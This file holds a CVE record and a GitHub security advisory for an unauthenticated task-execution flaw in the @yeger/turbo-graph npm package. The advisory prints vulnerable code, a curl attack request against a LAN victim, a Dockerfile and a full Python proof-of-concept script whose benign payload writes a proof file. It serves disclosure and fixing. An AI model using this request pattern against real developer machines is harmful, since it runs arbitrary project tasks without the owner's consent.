{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yeger",
          "vendor": "DerYeger",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.8.9"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Yeger is a monorepo for npm packages maintained under the yeger scope. Prior to 2.8.9, the turbo-graph package starts its embedded Next.js server from packages/turbo-graph/src/index.ts on all interfaces, including 0.0.0.0:29312 by default, while the GET handler for /api/run in packages/turbo-graph-ui/app/api/run/route.ts has no authentication, authorization, CSRF protection, or task allowlist. The handler accepts the tasks, filter, and force query parameters, and buildResponseFromArgs passes attacker-selected task names to spawn() as Turbo CLI arguments. An adjacent-network attacker can execute any task defined in the victim repository\u0027s turbo.json with the privileges of the developer OS user, potentially exposing secrets, modifying files or infrastructure, or causing destructive availability effects. The use of an argument array prevents traditional shell metacharacter injection but does not prevent unauthorized execution of defined tasks. This issue is fixed in version 2.8.9."
    }
  ],
  "id": "CVE-2026-59160",
  "lastModified": "2026-09-15T18:17:26.587",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59160",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T17:29:15.479834Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T17:17:23.410",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/DerYeger/yeger/commit/a6c41db6b575cccdd8ff89dbe8ce1792ad062852"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/DerYeger/yeger/releases/tag/@yeger/turbo-graph@2.8.9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/DerYeger/yeger/security/advisories/GHSA-2r5q-h53f-9rp3"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/DerYeger/yeger/security/advisories/GHSA-2r5q-h53f-9rp3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.8.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@yeger/turbo-graph"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59160"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-09T23:47:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unauthenticated Network-Exposed Turborepo Task Execution via /api/run\n\n### Summary\n\n`@yeger/turbo-graph` starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (`0.0.0.0:29312` by default). The `/api/run` HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via `spawn()`. Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim\u0027s repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer\u0027s OS user.\n\n### Details\n\nTwo independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:\n\n**Flaw 1 \u2014 Server bound to all interfaces (not loopback)**\n\n`packages/turbo-graph/src/index.ts:44` calls `.listen(options.port, callback)` without passing a hostname argument. Although `const hostname = \u0027localhost\u0027` is declared at line 19, it is used only for constructing the console log URL and is never passed to `listen()`. Node.js therefore defaults to binding on `0.0.0.0` (all IPv4 interfaces) and `::` (all IPv6 interfaces), making the server reachable from the local network segment.\n\n```ts\n// packages/turbo-graph/src/index.ts\n19    const hostname = \u0027localhost\u0027  // used only for console URL, not for listen()\n...\n44        .listen(options.port, () =\u003e {   // hostname argument missing \u2192 0.0.0.0 bind\n45          const url = `http://${hostname}:${options.port}`\n```\n\n**Flaw 2 \u2014 Unauthenticated `/api/run` task execution endpoint**\n\n`packages/turbo-graph-ui/app/api/run/route.ts:156\u2013177` defines `GET()`, which reads `tasks`, `filter`, and `force` from the request query string and passes them directly to `buildResponseFromArgs`, which appends them to a Turbo CLI argument array and calls `spawn()`. There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.\n\n```ts\n// packages/turbo-graph-ui/app/api/run/route.ts\n156  export function GET(req: NextRequest) {\n157    const url = new URL(req.url)\n159    const tasksParam = url.searchParams.getAll(\u0027tasks\u0027)   // attacker-controlled source\n171    const filter = url.searchParams.get(\u0027filter\u0027) ?? undefined\n176    return buildResponseFromArgs(tasks, filter, req.signal, { force })\n\n// buildResponseFromArgs \u2014 packages/turbo-graph-ui/app/api/run/route.ts\n20    const args: string[] = [\u0027run\u0027, ...tasks]              // tasks inserted directly\n25          args.push(`--filter=${trimmed}`)\n31      args.push(\u0027--force\u0027)\n34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: \u0027true\u0027 } })\n                                                            // ^ sink: arbitrary task execution\n```\n\nBecause `spawn()` is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in `turbo.json` of the victim\u0027s repository can be selected and run without restriction.\n\n### PoC\n\n**Environment setup (victim machine):**\n\n```bash\nmkdir /tmp/tg-poc \u0026\u0026 cd /tmp/tg-poc\n\ncat \u003e package.json \u003c\u003c\u0027JSON\u0027\n{\n  \"private\": true,\n  \"scripts\": {\n    \"pwn\": \"node -e \\\"require(\u0027fs\u0027).writeFileSync(\u0027/tmp/turbo-graph-poc\u0027, \u0027owned\\\\n\u0027)\\\"\"\n  },\n  \"devDependencies\": {\n    \"@yeger/turbo-graph\": \"2.8.8\",\n    \"turbo\": \"^2.0.0\"\n  }\n}\nJSON\n\ncat \u003e turbo.json \u003c\u003c\u0027JSON\u0027\n{\n  \"tasks\": {\n    \"pwn\": { \"cache\": false }\n  }\n}\nJSON\n\nnpm install\nnpx turbo-graph --port 29312\n```\n\n**Verify the server is bound to all interfaces (Flaw 1):**\n\n```bash\nss -tlnp \u0027sport = :29312\u0027\n# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)\n```\n\n**Attack request (from any host on the same network segment):**\n\n```bash\n# Replace \u003cvictim-ip\u003e with the victim machine\u0027s LAN IP address.\ncurl -N \"http://\u003cvictim-ip\u003e:29312/api/run?tasks=pwn\u0026force=true\"\n```\n\n**Expected outcome:**\n\n- The server returns HTTP 200 with a `text/event-stream` response.\n- An SSE `start` event is received with `args: [\"run\", \"pwn\", \"--ui=stream\", \"--force\"]`, confirming that the unauthenticated request was accepted.\n- The file `/tmp/turbo-graph-poc` is created on the victim machine with content `owned`, proving arbitrary task execution.\n\n**Containerized reproduction (automated):**\n\nThe enclosed `Dockerfile` and `poc.py` provide a self-contained reproduction. Build and run:\n\n```bash\ndocker build -t vuln-001-poc \u003cvuln-001-dir\u003e\ndocker run --rm vuln-001-poc\n```\n\nThe container confirmed all three evidence points during Phase 2 dynamic testing:\n1. `ss -tlnp sport=:29312` \u2192 `LISTEN 0 511 *:29312` (all-interface binding confirmed)\n2. `GET /api/run?tasks=pwn\u0026force=true` \u2192 HTTP 200, SSE `start` event with `args: [\"run\",\"pwn\",\"--ui=stream\",\"--force\"]` (no token required)\n3. `/tmp/poc-proof.txt` created with content `PWNED:\u003ctimestamp\u003e` (arbitrary task execution confirmed)\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running `turbo-graph` can execute arbitrary Turborepo tasks defined in that developer\u0027s repository.\n\nDepending on the tasks configured in the victim\u0027s `turbo.json`, the impact includes:\n\n- **Confidentiality (High):** Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.\n- **Integrity (High):** Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim\u0027s project or infrastructure.\n- **Availability (High):** Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.\n\nThe attack requires no credentials, no prior access, and no interaction from the victim beyond having `turbo-graph` running. The default port (`29312`) is static and predictable, making targeted network scanning straightforward. All users who run `npx turbo-graph` or install `@yeger/turbo-graph@2.8.8` in a shared or corporate network environment are affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)\n#\n# Layout:\n#   /victim/          - simulated developer workspace that runs turbo-graph\n#   /victim/pwn.js    - the task payload executed when the attacker fires /api/run\n#   /poc.py           - attacker script: sends unauthenticated GET /api/run?tasks=pwn\n#\n# Build:\n#   docker build -t vuln-001-poc \u003cvuln-001-dir\u003e\n#\n# Run:\n#   docker run --rm vuln-001-poc\n\nFROM node:20-slim\n\n# System tools:\n#   python3    - runs poc.py\n#   iproute2   - ss(8) for socket-binding introspection (evidence collection)\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends python3 iproute2 \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\n# ---------------------------------------------------------------------------\n# Victim workspace: a minimal Turborepo project that a developer might run\n# ---------------------------------------------------------------------------\nWORKDIR /victim\n\n# package.json: defines the \u0027pwn\u0027 task script and package dependencies.\n# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).\n# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.\nRUN echo \u0027{\"private\":true,\"name\":\"victim-project\",\"packageManager\":\"npm@10.8.2\",\"scripts\":{\"pwn\":\"node /victim/pwn.js\"},\"devDependencies\":{\"@yeger/turbo-graph\":\"2.8.8\",\"turbo\":\"^2.0.0\",\"react\":\"^18.0.0\",\"react-dom\":\"^18.0.0\"}}\u0027 \\\n    \u003e /victim/package.json\n\n# turbo.json: declares the \u0027pwn\u0027 task with caching disabled so it always runs.\nRUN echo \u0027{\"tasks\":{\"pwn\":{\"cache\":false}}}\u0027 \\\n    \u003e /victim/turbo.json\n\n# pwn.js: task payload \u2014 writes a timestamped proof file and logs to stdout.\n# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.\nRUN echo \u0027const fs = require(\"fs\"); const ts = Date.now().toString(); fs.writeFileSync(\"/tmp/poc-proof.txt\", \"PWNED:\" + ts); console.log(\"TASK_EXECUTED:\" + ts);\u0027 \\\n    \u003e /victim/pwn.js\n\n# Install packages from the declarations in package.json.\n# --legacy-peer-deps avoids strict peer-dep resolution failures.\n# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built\n# .next/ directory, so no separate \u0027next build\u0027 step is required.\nRUN npm install --legacy-peer-deps --no-fund --no-audit 2\u003e\u00261 | tail -5\n\n# ---------------------------------------------------------------------------\n# Attacker PoC script\n# ---------------------------------------------------------------------------\nCOPY poc.py /poc.py\n\n# Default: execute the PoC (start server, fire unauthenticated request, verify)\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution\nPackage:  @yeger/turbo-graph@2.8.8\nCWE:      CWE-306 (Missing Authentication for Critical Function)\nCVSS:     8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\nTwo independent flaws combine into the vulnerability:\n  1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a\n     hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).\n  2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler\n     has zero authentication; attacker-supplied ?tasks= values are passed\n     directly to spawn(turboBin, [\u0027run\u0027, ...tasks], { cwd: victimDir }).\n\nAttack scenario reproduced here:\n  - Victim runs `turbo-graph` from a project with a side-effecting task.\n  - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.\n  - The server executes `turbo run pwn` in the victim\u0027s project directory.\n  - The \u0027pwn\u0027 task writes /tmp/poc-proof.txt, proving arbitrary execution.\n\"\"\"\n\nimport os\nimport socket\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nPROOF_FILE = \"/tmp/poc-proof.txt\"\nPORT = 29312\nVICTIM_DIR = \"/victim\"\nTURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, \"node_modules\", \".bin\", \"turbo-graph\")\nSERVER_STARTUP_TIMEOUT = 120   # seconds; Next.js production startup can be slow\nREQUEST_TIMEOUT = 90            # seconds to wait for the SSE stream to finish\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef wait_for_port(host: str, port: int, timeout: int) -\u003e bool:\n    \"\"\"Poll until the TCP port accepts connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=2):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(1)\n    return False\n\n\ndef get_socket_binding(port: int) -\u003e str:\n    \"\"\"Return the raw \u0027ss\u0027 output for the listening socket on *port*.\"\"\"\n    try:\n        result = subprocess.run(\n            [\"ss\", \"-tlnp\", f\"sport = :{port}\"],\n            capture_output=True,\n            text=True,\n            timeout=5,\n        )\n        return result.stdout.strip()\n    except Exception as exc:\n        return f\"(ss unavailable: {exc})\"\n\n\ndef binding_is_all_interfaces(ss_output: str) -\u003e bool:\n    \"\"\"Return True when the socket is listening on all interfaces.\"\"\"\n    return any(\n        marker in ss_output\n        for marker in (\"0.0.0.0\", \"*:\", \"[::]\", \":::\")\n    )\n\n\ndef read_sse_stream(url: str, timeout: int) -\u003e list:\n    \"\"\"\n    Open *url* as a Server-Sent Events stream and return parsed events.\n    Each event is a dict with keys \u0027type\u0027 and optionally \u0027data\u0027.\n    Stops when an \u0027end\u0027 event is received or *timeout* seconds elapse.\n    \"\"\"\n    events = []\n    try:\n        req = urllib.request.Request(\n            url,\n            headers={\n                \"Accept\": \"text/event-stream\",\n                \"Cache-Control\": \"no-cache\",\n                \"Connection\": \"keep-alive\",\n            },\n        )\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            print(f\"  [HTTP] {resp.status} {resp.reason}\")\n            print(f\"  [HTTP] Content-Type: {resp.getheader(\u0027Content-Type\u0027, \u0027\u0027)}\")\n            buf = \"\"\n            deadline = time.time() + timeout\n            while time.time() \u003c deadline:\n                chunk = resp.read(4096)\n                if not chunk:\n                    break\n                buf += chunk.decode(\"utf-8\", errors=\"replace\")\n                # Parse complete SSE blocks (separated by blank lines)\n                while \"\\n\\n\" in buf:\n                    block, buf = buf.split(\"\\n\\n\", 1)\n                    ev: dict = {}\n                    for line in block.strip().split(\"\\n\"):\n                        if line.startswith(\"event: \"):\n                            ev[\"type\"] = line[7:]\n                        elif line.startswith(\"data: \"):\n                            ev[\"data\"] = line[6:]\n                        # ignore SSE comments (\u0027:\u0027) and \u0027retry:\u0027 lines\n                    if ev.get(\"type\"):\n                        events.append(ev)\n                        preview = ev.get(\"data\", \"\")[:120]\n                        print(f\"  [SSE]  event={ev[\u0027type\u0027]}  data={preview}\")\n                        if ev[\"type\"] == \"end\":\n                            return events\n    except urllib.error.HTTPError as exc:\n        print(f\"  [!] HTTP error: {exc.code} {exc.reason}\")\n    except Exception as exc:\n        print(f\"  [!] Stream error: {type(exc).__name__}: {exc}\")\n    return events\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\n\ndef main() -\u003e int:\n    sep = \"=\" * 64\n    print(sep)\n    print(\"VULN-001 PoC  \u2014  Unauthenticated Turborepo Task Execution\")\n    print(\"Package : @yeger/turbo-graph@2.8.8\")\n    print(\"CWE-306 : Missing Authentication for Critical Function\")\n    print(sep)\n    print()\n\n    # Remove stale proof file from a previous run\n    if os.path.exists(PROOF_FILE):\n        os.remove(PROOF_FILE)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start turbo-graph server from the victim project directory\n    # The CLI does NOT pass a hostname to .listen(), so Node.js binds to\n    # 0.0.0.0 (all interfaces) \u2014 see index.ts:44.\n    # ------------------------------------------------------------------\n    print(f\"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...\")\n    server = subprocess.Popen(\n        [TURBO_GRAPH_BIN, \"--port\", str(PORT)],\n        cwd=VICTIM_DIR,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n    )\n\n    # ------------------------------------------------------------------\n    # Step 2: Wait for the port to become available\n    # ------------------------------------------------------------------\n    print(f\"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...\")\n    ready = wait_for_port(\"127.0.0.1\", PORT, timeout=SERVER_STARTUP_TIMEOUT)\n    if not ready:\n        server.kill()\n        stdout, _ = server.communicate()\n        print(f\"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.\")\n        print(f\"    stdout/stderr:\\n{stdout[:2000]}\")\n        return 1\n    print(f\"[+] Server is accepting connections on port {PORT}.\")\n\n    # ------------------------------------------------------------------\n    # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)\n    # Flaw 1: .listen(port) without hostname \u2192 network-exposed.\n    # ------------------------------------------------------------------\n    ss_output = get_socket_binding(PORT)\n    print(f\"\\n[3] Socket binding (ss -tlnp sport=:{PORT}):\")\n    print(f\"    {ss_output}\")\n    if binding_is_all_interfaces(ss_output):\n        print(f\"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.\")\n    else:\n        print(f\"[?] Could not confirm all-interface binding; proceeding with request test.\")\n\n    # ------------------------------------------------------------------\n    # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request\n    # Flaw 2: no authentication, authorisation, CSRF check, or task\n    #         allowlist \u2014 see route.ts:156-177.\n    # ------------------------------------------------------------------\n    url = f\"http://127.0.0.1:{PORT}/api/run?tasks=pwn\u0026force=true\"\n    print(f\"\\n[4] Sending unauthenticated HTTP request (no token, no credentials):\")\n    print(f\"    GET {url}\")\n    sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)\n\n    # Allow a moment for any buffered I/O in the child process to flush\n    time.sleep(3)\n\n    # ------------------------------------------------------------------\n    # Step 5: Evaluate exploitation results\n    # ------------------------------------------------------------------\n    exploited = os.path.exists(PROOF_FILE)\n    proof_content = open(PROOF_FILE).read().strip() if exploited else \"\"\n\n    start_event = next((e for e in sse_events if e.get(\"type\") == \"start\"), None)\n    end_event   = next((e for e in sse_events if e.get(\"type\") == \"end\"),   None)\n    log_events  = [e for e in sse_events if e.get(\"type\") in (\"log\", \"stderr\")]\n\n    print()\n    print(sep)\n    print(\"EVIDENCE SUMMARY\")\n    print(sep)\n\n    # Evidence A: socket binding\n    if binding_is_all_interfaces(ss_output):\n        print(f\"[A] FLAW-1  \u2014 Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}\")\n    else:\n        print(f\"[A] FLAW-1  \u2014 ss output: {ss_output[:80]}\")\n\n    # Evidence B: unauthenticated SSE response\n    if start_event:\n        print(f\"[B] FLAW-2  \u2014 Unauthenticated /api/run accepted; SSE start args:\")\n        print(f\"              {start_event.get(\u0027data\u0027, \u0027\u0027)}\")\n    else:\n        received = [e.get(\"type\") for e in sse_events]\n        print(f\"[B] FLAW-2  \u2014 SSE events received: {received}\")\n\n    # Evidence C: turbo task exit code\n    if end_event:\n        print(f\"[C] TURBO   \u2014 turbo run exit code: {end_event.get(\u0027data\u0027, \u0027\u0027)}\")\n\n    # Evidence D: proof file (arbitrary code execution)\n    if exploited:\n        print(f\"[D] EXPLOIT \u2014 Proof file created: {PROOF_FILE}\")\n        print(f\"              Content: {proof_content}\")\n    else:\n        print(f\"[D] EXPLOIT \u2014 Proof file NOT created: {PROOF_FILE}\")\n        if log_events:\n            print(f\"    Task stdout/stderr (first 5 lines):\")\n            for ev in log_events[:5]:\n                print(f\"      [{ev[\u0027type\u0027]}] {ev.get(\u0027data\u0027, \u0027\u0027)}\")\n\n    print(sep)\n\n    # Clean up\n    server.kill()\n    server.wait(timeout=10)\n\n    if exploited:\n        print(\"\\n[RESULT] PASS \u2014 Exploitation reproduced. Proof file written by unauthenticated request.\")\n        return 0\n    else:\n        print(\"\\n[RESULT] FAIL \u2014 Proof file not created. See evidence above for diagnostics.\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "id": "GHSA-2r5q-h53f-9rp3",
  "modified": "2026-09-09T23:47:55Z",
  "published": "2026-09-09T23:47:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/DerYeger/yeger/security/advisories/GHSA-2r5q-h53f-9rp3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/DerYeger/yeger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run"
}